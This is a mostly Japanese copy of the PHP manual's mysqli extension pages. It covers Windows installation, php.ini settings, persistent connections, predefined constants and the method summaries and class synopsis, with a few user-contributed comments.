mysqli 拡張モジュールはデフォルトでは有効になりません。そこで、 php_mysqli.dll DLL を php.ini の中で有効化しなければなりません。有効化するには、まず php.ini を探し (通常は c:\php にあります)、 そして extension=php_mysqli.dll という行の最初にあるコメント (セミコロン) を削除します。この行は [PHP_MYSQLI] というセクションにあります。

また、MySQL Client Library を mysqli で使いたい場合は、PHP からクライアントライブラリのファイルにアクセスできるようにしなければなりません。 MySQL Client Library は libmysql.dll という名前のファイルで、これは Windows 版の PHP に含まれています。 このファイルを Windows の環境変数 PATH で指定された場所に置けば読み込めるようになります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" に、その方法が説明されています。 libmysql.dll を Windows のシステムディレクトリ (通常は c:\Windows\system) にコピーしても動作します。 システムディレクトリは、デフォルトでシステムの PATH に含まれているからです。 しかし、これはできるだけ避けるようにしましょう。

その他の PHP 拡張モジュール (php_mysqli.dll など) を有効にするときと同様、PHP のディレクティブ extension_dir を設定して PHP 拡張モジュールのある場所を指定する必要があります。 Windows での手動インストールの手順 も参照ください。PHP 5 の extension_dir の値は、たとえば c:\php\ext のようになります。

注意:

ウェブサーバーの起動時に "Unable to load dynamic library './php_mysqli.dll'" のようなエラーが出たら、それは php_mysqli.dll や libmysql.dll をシステムが見つけられないことが原因です。

User Contributed Notes

bansi 15-May-2019 03:39
In Windows 10 if mysqli is not working in PHP 7.3 you should add PHP directory to the PATH and restart your web server. This behavior was not there in PHP 7.0.27.
Davinken 17-Jun-2015 04:20
On CentOS 6 php-mysqli has been already incorporated into the php-mysql RPM package.
Mark F 14-Mar-2011 01:09
Just to note with regards to SSL and compression. MySQLnd and thus extensions using mysqlnd such as mysqli... now supports SSL and compression. Both have been supported inside mysqlnd since PHP 5.3.3 - http://www.php.net/manual/en/mysqlnd.overview.php
josh dot ribakoff at gmail dot com 10-Nov-2009 10:21
I kept getting configure errors:

/tmp/cc4f2PKd.o: In function `main':
/usr/src/php-5.3.0/configure:14287: undefined reference to `yp_get_default_domain'
collect2: ld returned 1 exit status
configure: failed program was:
#line 14270 "configure"
#include "confdefs.h"

The solution was to configure with mysql native driver as outlined on this page.
David dot Kit dot Friedman at gmail dot com 19-Aug-2009 04:04
>On Windows, PHP is most commonly installed using the binary installer. Once PHP has been installed, some >configuration is required to enable mysqli and specify the client library you want it to use.

Basically, if you want to add extensions you can double-click again on the installer file. The installer will find the already installed PHP and will ask if you want to change the installation.

When you go through the prompts it will take you back to the list of extensions and you can pick which extensions you want to add.

For the mysqli extension the installer also edited php.ini so that the extension was enabled:

[PHP_MYSQLI]
extension=php_mysqli.dll

the installer added those lines to the end of the file.


実行時設定

php.ini の設定により動作が変化します。

MySQLi 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqli.allow_local_infile | "0" | PHP_INI_SYSTEM | PHP 7.2.16, 7.3.3 より前のバージョンでは デフォルト値は "1" でした。
mysqli.local_infile_directory |  | PHP_INI_SYSTEM |
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM |
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM |
mysqli.max_links | "-1" | PHP_INI_SYSTEM |
mysqli.default_port | "3306" | PHP_INI_ALL |
mysqli.default_socket | NULL | PHP_INI_ALL |
mysqli.default_host | NULL | PHP_INI_ALL |
mysqli.default_user | NULL | PHP_INI_ALL |
mysqli.default_pw | NULL | PHP_INI_ALL |
mysqli.reconnect | "0" | PHP_INI_SYSTEM |
mysqli.rollback_on_cached_plink | TRUE | PHP_INI_SYSTEM |

これらの PHP_INI_* 定数の詳細と定義については、 設定の変更 を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqli.allow_local_infile int

PHP 側から、LOAD DATA 文によるローカルファイルへのアクセスを許可する。

mysqli.local_infile_directory string

LOCAL DATA 文によるファイルのロードを、 ここで指定したディレクトリに制限する機能を有効にします。

mysqli.allow_persistent int

mysqli_connect() による持続的接続の作成機能を有効にします。

mysqli.max_persistent int

作成できる持続的接続の最大数。0 を設定すると無制限となります。

mysqli.max_links int

プロセス毎の MySQL 接続の最大数。

mysqli.default_port int

他のポートが指定されない場合、データベースサーバー接続時に使用される デフォルトの TCP ポート番号。デフォルトが指定されない場合は、 環境変数 MYSQL_TCP_PORT・ /etc/services の mysql-tcpエントリ・コンパイル時の MYSQL_PORT 定数の順番でポートが取得されます。 Win32 では、MYSQL_PORT 定数のみが使用されます。

mysqli.default_socket string

他にソケット名が指定されない場合、ローカルな データベースサーバーに接続する時のデフォルトのソケット名。

mysqli.default_host string

他のサーバー名が指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのサーバー名。

mysqli.default_user string

他のユーザー名が指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのユーザー名。

mysqli.default_password string

他のパスワードが指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのパスワード。

mysqli.reconnect int

接続が失われたときに自動的に再接続するかどうか。

注意: mysqlnd ドライバは、この php.ini 設定項目を無視します。

mysqli.rollback_on_cached_plink bool

このオプションを有効にすると、接続を閉じて時持続的接続プールに接続を戻す前に、 この接続で保留中だったあらゆるトランザクションがロールバックされます。 このオプションが無効だった場合、接続が再利用されるとき、または実際に閉じられるときだけ、 保留中のトランザクションがロールバックされます。

MYSQL_OPT_READ_TIMEOUT を、 API コールや実行時の設定で指定することはできません。 もしそんなことができてしまうと、libmysqlclient とストリームで MYSQL_OPT_READ_TIMEOUT の値の解釈する方法が違ってしまう可能性があることに注意しましょう。

User Contributed Notes

There are no user contributed notes for this page.


mysqli 拡張モジュールでの持続的接続

持続的接続とは、クライアントプロセスとデータベースとの間の接続を 何度も作っては破棄するかわりにクライアントプロセス側で再利用しようというものです。 これにより、必要なときに毎回新規接続を作成するというオーバーヘッドが軽減でき、 未使用の接続はキャッシュされて再利用できるようになります。

他の mysql 用拡張モジュールとは異なり、mysqli には持続的接続のオープン専用の関数はありません。 持続的な接続をオープンするには、接続時にホスト名の前に p: をつけなければなりません。

持続的接続の問題は、予期せぬ状態でクライアント側に残ってしまう可能性があるということです。 たとえば、テーブルロックを行った状態でクライアントが突然終了してしまったとしましょう。 新しいクライアントプロセスがこの持続的接続を使用する際には、 そのまま の状態でこれを使うことになります。 新しいクライアントプロセスがこの持続的接続をきちんと使うためには事前になんらかの後始末が必要となります。 これはプログラマにとっては面倒な作業です。

しかし、mysqli 拡張モジュールの持続的接続には後始末を行うコードが組み込まれています。 mysqli は、以下のような後始末を行います。

  • アクティブなトランザクションのロールバック

  • 一時テーブルを閉じて drop

  • テーブルロックの解除

  • セッション変数の初期化

  • プリペアドステートメントを閉じる (PHP では常に発生)

  • ハンドラを閉じる

  • GET_LOCK() で取得したロックの開放

これにより、コネクションプールから取得する接続がクリーンな状態であることが確実になり、 そのままクライアントプロセスで使用できるようになります。

mysqli 拡張モジュールのクリーンアップ処理は、 C の API 関数 mysql_change_user() を自動的にコールすることで行っています。

しかし、自動クリーンアップ処理にはいい面もあれば悪い面もあります。 利点としては、プログラマがクリーンアップのコードを書くことを気にせずにすむということがあります。 自動的にコールされるからです。しかし、多少動作が遅くなるという 可能性 もあります。 接続がコネクションプールに戻される際に毎回クリーンアップが必要となるからです。

自動クリーンアップのコードを無効にしたい場合は、 MYSQLI_NO_CHANGE_USER_ON_PCONNECT を define して PHP をコンパイルします。

注意:

mysqli 拡張モジュールは、 MySQL Native Drive あるいは MySQL Client Library のどちらを使っている場合でも持続的接続をサポートします。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MYSQLI_READ_DEFAULT_GROUP

my.cnf の指定した名前のグループか、 あるいは MYSQLI_READ_DEFAULT_FILE で指定したファイルからオプションを読み込みます。

MYSQLI_READ_DEFAULT_FILE

my.cnf のかわりに、指定したファイルからオプションを 読み込みます。

MYSQLI_OPT_CONNECT_TIMEOUT

接続のタイムアウトまでの秒数。

MYSQLI_OPT_READ_TIMEOUT

コマンドの実行結果が返ってくるまでのタイムアウト秒数。PHP 7.2.0 以降で利用可能です。

MYSQLI_OPT_LOCAL_INFILE

LOAD LOCAL INFILE コマンドを有効にします。

MYSQLI_OPT_INT_AND_FLOAT_NATIVE

整数型と浮動小数点型のカラムをPHPの数値に変換します。mysqlnd でのみ有効です。

MYSQLI_OPT_NET_CMD_BUFFER_SIZE

内部的なコマンド/ネットワークバッファのサイズを指定します。mysqlnd でのみ有効です。

MYSQLI_OPT_NET_READ_BUFFER_SIZE

MySQL のコマンドパケットのボディ部分を読み取る際の、チャンクサイズをバイト単位で指定します。 mysqlnd でのみ有効です。

MYSQLI_OPT_SSL_VERIFY_SERVER_CERT

MySQL 5.1.10 以降が必要です。

MYSQLI_INIT_COMMAND

MySQL サーバーへの接続時に実行するコマンド。 再接続時にも自動的に再実行されます。

MYSQLI_CLIENT_SSL

SSL（暗号化プロトコル）を使用します。このオプションは、アプリケーション プログラムで指定することはできず、MySQL クライアントライブラリの内部で設定します。

MYSQLI_CLIENT_COMPRESS

圧縮プロトコルを使用します。

MYSQLI_CLIENT_INTERACTIVE

（wait_timeout のかわりに）interactive_timeout の秒数を使用できるように します。クライアントセッションの wait_timeout 変数の値は、interactive_timeout 変数の値に設定されます。

MYSQLI_CLIENT_IGNORE_SPACE

関数名に続く空白文字を許可します。すべての関数名を予約語とします。

MYSQLI_CLIENT_NO_SCHEMA

db_name.tbl_name.col_name 形式の使用を禁止します。

MYSQLI_CLIENT_MULTI_QUERIES

セミコロンで区切られた複数のクエリを、 一度の mysqli_query() コールで実行することを許可します。

MYSQLI_STORE_RESULT

結果セットをバッファに格納します。

MYSQLI_USE_RESULT

結果セットをバッファに格納しません。

MYSQLI_ASSOC

行データを、カラム名をインデックスとする配列に格納して返します。

MYSQLI_NUM

行データを、数値インデックスの配列に格納して返します。

MYSQLI_BOTH

行データを、数値インデックス・カラム名インデックスの両方を 保持する配列に格納して返します。

MYSQLI_NOT_NULL_FLAG

フィールドは、NOT NULL と定義されています。

MYSQLI_PRI_KEY_FLAG

フィールドは、プライマリキーの一部です。

MYSQLI_UNIQUE_KEY_FLAG

フィールドは、ユニークキーの一部です。

MYSQLI_MULTIPLE_KEY_FLAG

フィールドは、インデックスの一部です。

MYSQLI_BLOB_FLAG

フィールドは BLOB と定義されています。

MYSQLI_UNSIGNED_FLAG

フィールドは UNSIGNED と定義されています。

MYSQLI_ZEROFILL_FLAG

フィールドは ZEROFILL と定義されています。

MYSQLI_AUTO_INCREMENT_FLAG

フィールドは AUTO_INCREMENT と定義されています。

MYSQLI_TIMESTAMP_FLAG

フィールドは TIMESTAMP と定義されています。

MYSQLI_SET_FLAG

フィールドは SET と定義されています。

MYSQLI_NUM_FLAG

フィールドは NUMERIC と定義されています。

MYSQLI_PART_KEY_FLAG

フィールドは、マルチインデックスの一部です。

MYSQLI_GROUP_FLAG

フィールドは GROUP BY の一部です。

MYSQLI_TYPE_DECIMAL

フィールドは DECIMAL と定義されています。

MYSQLI_TYPE_NEWDECIMAL

精密な DECIMAL あるいは NUMERIC のフィールドです (MySQL 5.0.3 以降)。

MYSQLI_TYPE_BIT

フィールドは BIT と定義されています (MySQL 5.0.3 以降)。

MYSQLI_TYPE_TINY

フィールドは TINYINT と定義されています。

MYSQLI_TYPE_SHORT

フィールドは SMALLINT と定義されています。

MYSQLI_TYPE_LONG

フィールドは INT と定義されています。

MYSQLI_TYPE_FLOAT

フィールドは FLOAT と定義されています。

MYSQLI_TYPE_DOUBLE

フィールドは DOUBLE と定義されています。

MYSQLI_TYPE_NULL

フィールドは DEFAULT NULL と定義されています。

MYSQLI_TYPE_TIMESTAMP

フィールドは TIMESTAMP と定義されています。

MYSQLI_TYPE_LONGLONG

フィールドは BIGINT と定義されています。

MYSQLI_TYPE_INT24

フィールドは MEDIUMINT と定義されています。

MYSQLI_TYPE_DATE

フィールドは DATE と定義されています。

MYSQLI_TYPE_TIME

フィールドは TIME と定義されています。

MYSQLI_TYPE_DATETIME

フィールドは DATETIME と定義されています。

MYSQLI_TYPE_YEAR

フィールドは YEAR と定義されています。

MYSQLI_TYPE_NEWDATE

フィールドは DATE と定義されています。

MYSQLI_TYPE_INTERVAL

フィールドは INTERVAL と定義されています。

MYSQLI_TYPE_ENUM

フィールドは ENUM と定義されています。

MYSQLI_TYPE_SET

フィールドは SET と定義されています。

MYSQLI_TYPE_TINY_BLOB

フィールドは TINYBLOB と定義されています。

MYSQLI_TYPE_MEDIUM_BLOB

フィールドは MEDIUMBLOB と定義されています。

MYSQLI_TYPE_LONG_BLOB

フィールドは LONGBLOB と定義されています。

MYSQLI_TYPE_BLOB

フィールドは BLOB と定義されています。

MYSQLI_TYPE_VAR_STRING

フィールドは VARCHAR あるいは BINARY と定義されています。

MYSQLI_TYPE_STRING

フィールドは STRING と定義されています。

MYSQLI_TYPE_CHAR

フィールドは TINYINT と定義されています。 CHAR については MYSQLI_TYPE_STRING を参照ください。

MYSQLI_TYPE_GEOMETRY

フィールドは GEOMETRY と定義されています。

MYSQLI_TYPE_JSON

フィールドは JSON と定義されています。 mysqlnd のみ有効で、MySQL 5.7.8 以降が必要です。

MYSQLI_NEED_DATA

バインド変数に、さらにデータを使用可能です。

MYSQLI_NO_DATA

バインド変数に使用可能なデータがありません。

MYSQLI_DATA_TRUNCATED

データのトランケーションが発生しました。MySQL 5.0.5 以降で使用可能です。

MYSQLI_ENUM_FLAG

フィールドが ENUM として定義されています。

MYSQLI_BINARY_FLAG

フィールドが BINARY として定義されています。

MYSQLI_CURSOR_TYPE_FOR_UPDATE

MYSQLI_CURSOR_TYPE_NO_CURSOR

MYSQLI_CURSOR_TYPE_READ_ONLY

MYSQLI_CURSOR_TYPE_SCROLLABLE

MYSQLI_STMT_ATTR_CURSOR_TYPE

MYSQLI_STMT_ATTR_PREFETCH_ROWS

MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH

MYSQLI_SET_CHARSET_NAME

MYSQLI_REPORT_INDEX

クエリ内でインデックスが使われていなかったり間違ったインデックスを使っていたりする場合に報告します。

MYSQLI_REPORT_ERROR

mysqli 関数コールのエラーを報告します。

MYSQLI_REPORT_STRICT

エラー時に、警告の代わりに mysqli_sql_exception をスローします。

MYSQLI_REPORT_ALL

すべてのオプションを有効にします (すべてを報告します)。

MYSQLI_REPORT_OFF

報告を無効にします。

MYSQLI_DEBUG_TRACE_ENABLED

mysqli_debug() 機能が有効の場合に 1 が設定されます。

MYSQLI_SERVER_QUERY_NO_GOOD_INDEX_USED

MYSQLI_SERVER_QUERY_NO_INDEX_USED

MYSQLI_SERVER_PUBLIC_KEY

MYSQLI_REFRESH_GRANT

権限テーブルをリフレッシュします。

MYSQLI_REFRESH_LOG

ログをフラッシュします。SQL 文 FLUSH LOGS を実行するのと同じです。

MYSQLI_REFRESH_TABLES

テーブルキャッシュをフラッシュします。SQL 文 FLUSH TABLES を実行するのと同じです。

MYSQLI_REFRESH_HOSTS

ホストキャッシュをフラッシュします。SQL 文 FLUSH HOSTS を実行するのと同じです。

MYSQLI_REFRESH_STATUS

状態変数をリセットします。SQL 文 FLUSH STATUS を実行するのと同じです。

MYSQLI_REFRESH_THREADS

スレッドキャッシュをフラッシュします。

MYSQLI_REFRESH_SLAVE

レプリケーションのスレーブ側のサーバーで、 マスタサーバーの情報をリセットしてスレーブを再起動します。 SQL 文 RESET SLAVE を実行するのと同じです。

MYSQLI_REFRESH_MASTER

レプリケーションのマスタ側のサーバーで、 バイナリログインデックスにあるバイナリログファイルを削除してインデックスファイルを切り詰めます。 SQL 文 RESET MASTER を実行するのと同じです。

MYSQLI_TRANS_COR_AND_CHAIN

"AND CHAIN" を mysqli_commit() あるいは mysqli_rollback() に追加します。

MYSQLI_TRANS_COR_AND_NO_CHAIN

"AND NO CHAIN" を mysqli_commit() あるいは mysqli_rollback() に追加します。

MYSQLI_TRANS_COR_RELEASE

"RELEASE" を mysqli_commit() あるいは mysqli_rollback() に追加します。

MYSQLI_TRANS_COR_NO_RELEASE

"NO RELEASE" を mysqli_commit() あるいは mysqli_rollback() に追加します。

MYSQLI_TRANS_START_READ_ONLY

mysqli_begin_transaction() で、 トランザクションを "START TRANSACTION READ ONLY" で開始します。

MYSQLI_TRANS_START_READ_WRITE

mysqli_begin_transaction() で、 トランザクションを "START TRANSACTION READ WRITE" で開始します。

MYSQLI_TRANS_START_CONSISTENT_SNAPSHOT

mysqli_begin_transaction() で、 トランザクションを "START TRANSACTION WITH CONSISTENT SNAPSHOT" で開始します。

MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT

MySQL 5.6.5 以降が必要です。

User Contributed Notes

jeriba4 at googlemail dot com 10-Mar-2013 06:00
Note that although CHAR is an explicite string type within MySQL,
MYSQLI_TYPE_CHAR is interpreted the same way as MYSQLI_TYPE_TINY, which is the TINYINT numeric type within MySQL.
As a consequence, you cannot distinguish these two column types by using their respective type index, as both are set to integer one (1).
Anonymous 09-May-2008 12:44
MYSQLI_TYPE_SHORT is used for SMALLINT, not INT


ノート

若干の実装ノート

  1. MYSQL_TYPE_GEOMETRY に対するサポートが MySQLi エクステンションに PHP 5.3 で追加されました。

  2. MYSQL_TYPE_GEOMETRY 型の項目を操作するために libmysqlclient および mysqlnd の中にそれぞれ別の異なる内部実装があることに注意してください。 一般的に言って、mysqlndでのメモリ割り当ては かなり少なくなります。 例えば、POINT 項目が結果セットにあると、 メモリ上で POINT 項目を保持するには 50 バイトも 必要ないのに、libmysqlclient は最高 4GB の RAM を事前に割り当てるかもしれません。 mysqlnd を使うと、 メモリの割り当てはずっと小さく、50 バイト未満です。

User Contributed Notes

There are no user contributed notes for this page.


The MySQLi Extension Function Summary

Summary of mysqli methods
mysqli Class
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli::affected_rows | mysqli_affected_rows() | N/A | Gets the number of affected rows in a previous MySQL operation
$mysqli::client_info | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
$mysqli::client_version | mysqli_get_client_version() | N/A | Returns MySQL client version info as an integer
$mysqli::connect_errno | mysqli_connect_errno() | N/A | Returns the error code from last connect call
$mysqli::connect_error | mysqli_connect_error() | N/A | Returns a string description of the last connect error
$mysqli::errno | mysqli_errno() | N/A | Returns the error code for the most recent function call
$mysqli::error | mysqli_error() | N/A | Returns a string description of the last error
$mysqli::field_count | mysqli_field_count() | N/A | Returns the number of columns for the most recent query
$mysqli::host_info | mysqli_get_host_info() | N/A | Returns a string representing the type of connection used
$mysqli::protocol_version | mysqli_get_proto_info() | N/A | Returns the version of the MySQL protocol used
$mysqli::server_info | mysqli_get_server_info() | N/A | Returns the version of the MySQL server
$mysqli::server_version | mysqli_get_server_version() | N/A | Returns the version of the MySQL server as an integer
$mysqli::info | mysqli_info() | N/A | Retrieves information about the most recently executed query
$mysqli::insert_id | mysqli_insert_id() | N/A | Returns the auto generated id used in the last query
$mysqli::sqlstate | mysqli_sqlstate() | N/A | Returns the SQLSTATE error from previous MySQL operation
$mysqli::warning_count | mysqli_warning_count() | N/A | Returns the number of warnings from the last query for the given link
Methods
mysqli::autocommit() | mysqli_autocommit() | N/A | Turns on or off auto-committing database modifications
mysqli::change_user() | mysqli_change_user() | N/A | Changes the user of the specified database connection
mysqli::character_set_name(), mysqli::client_encoding | mysqli_character_set_name() | mysqli_client_encoding() | Returns the default character set for the database connection
mysqli::close() | mysqli_close() | N/A | Closes a previously opened database connection
mysqli::commit() | mysqli_commit() | N/A | Commits the current transaction
mysqli::__construct() | mysqli_connect() | N/A | Open a new connection to the MySQL server [Note: static (i.e. class) method]
mysqli::debug() | mysqli_debug() | N/A | Performs debugging operations
mysqli::dump_debug_info() | mysqli_dump_debug_info() | N/A | Dump debugging information into the log
mysqli::get_charset() | mysqli_get_charset() | N/A | Returns a character set object
mysqli::get_connection_stats() | mysqli_get_connection_stats() | N/A | Returns client connection statistics. mysqlnd でのみ使用可能です。
mysqli::get_client_info() | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
mysqli::get_client_stats() | mysqli_get_client_stats() | N/A | Returns client per-process statistics. mysqlnd でのみ使用可能です。
mysqli::get_server_info() | mysqli_get_server_info() | N/A | Returns a string representing the version of the MySQL server that the MySQLi extension is connected to
mysqli::get_warnings() | mysqli_get_warnings() | N/A | NOT DOCUMENTED
mysqli::init() | mysqli_init() | N/A | Initializes MySQLi and returns an object for use with mysqli_real_connect.
mysqli::kill() | mysqli_kill() | N/A | Asks the server to kill a MySQL thread
mysqli::more_results() | mysqli_more_results() | N/A | Check if there are any more query results from a multi query
mysqli::multi_query() | mysqli_multi_query() | N/A | Performs a query on the database
mysqli::next_result() | mysqli_next_result() | N/A | Prepare next result from multi_query
mysqli::options() | mysqli_options() | mysqli_set_opt() | Set options
mysqli::ping() | mysqli_ping() | N/A | Pings a server connection, or tries to reconnect if the connection has gone down
mysqli::prepare() | mysqli_prepare() | N/A | Prepare an SQL statement for execution
mysqli::query() | mysqli_query() | N/A | Performs a query on the database
mysqli::real_connect() | mysqli_real_connect() | N/A | Opens a connection to a mysql server
mysqli::real_escape_string(), mysqli::escape_string() | mysqli_real_escape_string() | mysqli_escape_string() | Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
mysqli::real_query() | mysqli_real_query() | N/A | Execute an SQL query
mysqli::refresh() | mysqli_refresh() | N/A | Flushes tables or caches, or resets the replication server information
mysqli::rollback() | mysqli_rollback() | N/A | Rolls back current transaction
mysqli::select_db() | mysqli_select_db() | N/A | Selects the default database for database queries
mysqli::set_charset() | mysqli_set_charset() | N/A | Sets the default client character set
mysqli::ssl_set() | mysqli_ssl_set() | N/A | Used for establishing secure connections using SSL
mysqli::stat() | mysqli_stat() | N/A | Gets the current system status
mysqli::stmt_init() | mysqli_stmt_init() | N/A | Initializes a statement and returns an object for use with mysqli_stmt_prepare
mysqli::store_result() | mysqli_store_result() | N/A | Transfers a result set from the last query
mysqli::thread_id() | mysqli_thread_id() | N/A | Returns the thread ID for the current connection
mysqli::thread_safe() | mysqli_thread_safe() | N/A | Returns whether thread safety is given or not
mysqli::use_result() | mysqli_use_result() | N/A | Initiate a result set retrieval
Summary of mysqli_stmt methods
MySQL_STMT
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_stmt::affected_rows | mysqli_stmt_affected_rows() | N/A | Returns the total number of rows changed, deleted, or inserted by the last executed statement
$mysqli_stmt::errno | mysqli_stmt_errno() | N/A | Returns the error code for the most recent statement call
$mysqli_stmt::error | mysqli_stmt_error() | N/A | Returns a string description for last statement error
$mysqli_stmt::field_count | mysqli_stmt_field_count() | N/A | Returns the number of field in the given statement - not documented
$mysqli_stmt::insert_id | mysqli_stmt_insert_id() | N/A | Get the ID generated from the previous INSERT operation
$mysqli_stmt::num_rows | mysqli_stmt_num_rows() | N/A | Return the number of rows in statements result set
$mysqli_stmt::param_count | mysqli_stmt_param_count() | mysqli_param_count() | Returns the number of parameter for the given statement
$mysqli_stmt::sqlstate | mysqli_stmt_sqlstate() | N/A | Returns SQLSTATE error from previous statement operation
Methods
mysqli_stmt::attr_get() | mysqli_stmt_attr_get() | N/A | Used to get the current value of a statement attribute
mysqli_stmt::attr_set() | mysqli_stmt_attr_set() | N/A | Used to modify the behavior of a prepared statement
mysqli_stmt::bind_param() | mysqli_stmt_bind_param() | mysqli_bind_param() | Binds variables to a prepared statement as parameters
mysqli_stmt::bind_result() | mysqli_stmt_bind_result() | mysqli_bind_result() | Binds variables to a prepared statement for result storage
mysqli_stmt::close() | mysqli_stmt_close() | N/A | Closes a prepared statement
mysqli_stmt::data_seek() | mysqli_stmt_data_seek() | N/A | Seeks to an arbitrary row in statement result set
mysqli_stmt::execute() | mysqli_stmt_execute() | mysqli_execute() | Executes a prepared Query
mysqli_stmt::fetch() | mysqli_stmt_fetch() | mysqli_fetch() | Fetch results from a prepared statement into the bound variables
mysqli_stmt::free_result() | mysqli_stmt_free_result() | N/A | Frees stored result memory for the given statement handle
mysqli_stmt::get_result() | mysqli_stmt_get_result() | N/A | Gets a result set from a prepared statement. mysqlnd でのみ使用可能です。
mysqli_stmt::get_warnings() | mysqli_stmt_get_warnings() | N/A | NOT DOCUMENTED
mysqli_stmt::more_results() | mysqli_stmt_more_results() | N/A | Checks if there are more query results from a multiple query
mysqli_stmt::next_result() | mysqli_stmt_next_result() | N/A | Reads the next result from a multiple query
mysqli_stmt::num_rows() | mysqli_stmt_num_rows() | N/A | See also property $mysqli_stmt::num_rows
mysqli_stmt::prepare() | mysqli_stmt_prepare() | N/A | Prepare an SQL statement for execution
mysqli_stmt::reset() | mysqli_stmt_reset() | N/A | Resets a prepared statement
mysqli_stmt::result_metadata() | mysqli_stmt_result_metadata() | mysqli_get_metadata() | Returns result set metadata from a prepared statement
mysqli_stmt::send_long_data() | mysqli_stmt_send_long_data() | mysqli_send_long_data() | Send data in blocks
mysqli_stmt::store_result() | mysqli_stmt_store_result() | N/A | Transfers a result set from a prepared statement
Summary of mysqli_result methods
mysqli_result
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_result::current_field | mysqli_field_tell() | N/A | Get current field offset of a result pointer
$mysqli_result::field_count | mysqli_num_fields() | N/A | Get the number of fields in a result
$mysqli_result::lengths | mysqli_fetch_lengths() | N/A | Returns the lengths of the columns of the current row in the result set
$mysqli_result::num_rows | mysqli_num_rows() | N/A | Gets the number of rows in a result
Methods
mysqli_result::data_seek() | mysqli_data_seek() | N/A | Adjusts the result pointer to an arbitrary row in the result
mysqli_result::fetch_all() | mysqli_fetch_all() | N/A | Fetches all result rows and returns the result set as an associative array, a numeric array, or both. mysqlnd でのみ使用可能です。
mysqli_result::fetch_array() | mysqli_fetch_array() | N/A | Fetch a result row as an associative, a numeric array, or both
mysqli_result::fetch_assoc() | mysqli_fetch_assoc() | N/A | Fetch a result row as an associative array
mysqli_result::fetch_field_direct() | mysqli_fetch_field_direct() | N/A | Fetch meta-data for a single field
mysqli_result::fetch_field() | mysqli_fetch_field() | N/A | Returns the next field in the result set
mysqli_result::fetch_fields() | mysqli_fetch_fields() | N/A | Returns an array of objects representing the fields in a result set
mysqli_result::fetch_object() | mysqli_fetch_object() | N/A | Returns the current row of a result set as an object
mysqli_result::fetch_row() | mysqli_fetch_row() | N/A | Get a result row as an enumerated array
mysqli_result::field_seek() | mysqli_field_seek() | N/A | Set result pointer to a specified field offset
mysqli_result::free(), mysqli_result::close, mysqli_result::free_result | mysqli_free_result() | N/A | Frees the memory associated with a result
Summary of mysqli_driver methods
MySQL_Driver
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_driver::mysqli_report | mysqli_report() | N/A | Sets mysqli error reporting mode
Methods
mysqli_driver::embedded_server_end() | mysqli_embedded_server_end() | N/A | NOT DOCUMENTED
mysqli_driver::embedded_server_start() | mysqli_embedded_server_start() | N/A | NOT DOCUMENTED

注意:

Alias functions are provided for backward compatibility purposes only. Do not use them in new projects.

User Contributed Notes

There are no user contributed notes for this page.


mysqli クラス

(PHP 5, PHP 7)

はじめに

PHP と MySQL データベースの間の接続を表します。

クラス概要

mysqli {
/* プロパティ */
int $affected_rows;
static int $connect_errno;
static string $connect_error;
int $errno;
array $error_list;
string $error;
int $field_count;
string $client_info;
int $client_version;
string $host_info;
string $protocol_version;
string $server_info;
int $server_version;
string $info;
mixed $insert_id;
string $sqlstate;
int $thread_id;
int $warning_count;
/* メソッド */
public __construct
 ( string $host = ini_get("mysqli.default_host")
, string $username = ini_get("mysqli.default_user")
, string $passwd = ini_get("mysqli.default_pw")
, string $dbname = ""
, int $port = ini_get("mysqli.default_port")
, string $socket = ini_get("mysqli.default_socket")
)
public autocommit ( bool $mode ) : bool
public begin_transaction ( int $flags = 0 , string $name = ? ) : bool
public change_user ( string $user , string $password , string $database ) : bool
public character_set_name ( ) : string
public close ( ) : bool
public commit ( int $flags = 0 , string $name = ? ) : bool
public connect
 ( string $host = ini_get("mysqli.default_host")
, string $username = ini_get("mysqli.default_user")
, string $passwd = ini_get("mysqli.default_pw")
, string $dbname = ""
, int $port = ini_get("mysqli.default_port")
, string $socket = ini_get("mysqli.default_socket")
) : void
public debug ( string $message ) : bool
public dump_debug_info ( ) : bool
public get_charset ( ) : object
public get_client_info ( ) : string
public get_connection_stats ( ) : bool
public get_server_info ( ) : string
public get_warnings ( ) : mysqli_warning
public init ( ) : mysqli
public kill ( int $processid ) : bool
public more_results ( ) : bool
public multi_query ( string $query ) : bool
public next_result ( ) : bool
public options ( int $option , mixed $value ) : bool
public ping ( ) : bool
public static poll ( array &$read , array &$error , array &$reject , int $sec , int $usec = 0 ) : int
public prepare ( string $query ) : mysqli_stmt
public query ( string $query , int $resultmode = MYSQLI_STORE_RESULT ) : mixed
public real_connect ( string $host = ? , string $username = ? , string $passwd = ? , string $dbname = ? , int $port = ? , string $socket = ? , int $flags = ? ) : bool
public escape_string ( string $escapestr ) : string
real_escape_string ( string $escapestr ) : string
public real_query ( string $query ) : bool
public reap_async_query ( ) : mysqli_result
public refresh ( int $options ) : bool
public release_savepoint ( string $name ) : bool
public rollback ( int $flags = 0 , string $name = ? ) : bool
public savepoint ( string $name ) : bool
public select_db ( string $dbname ) : bool
public set_charset ( string $charset ) : bool
public ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher ) : bool
public stat ( ) : string
public stmt_init ( ) : mysqli_stmt
public store_result ( int $option = ? ) : mysqli_result
public thread_safe ( ) : void
public use_result ( ) : mysqli_result
}

目次

  • mysqli::$affected_rows — 直前の MySQL の操作で変更された行の数を得る
  • mysqli::autocommit — データベース更新の自動コミットをオンまたはオフにする
  • mysqli::begin_transaction — トランザクションを開始する
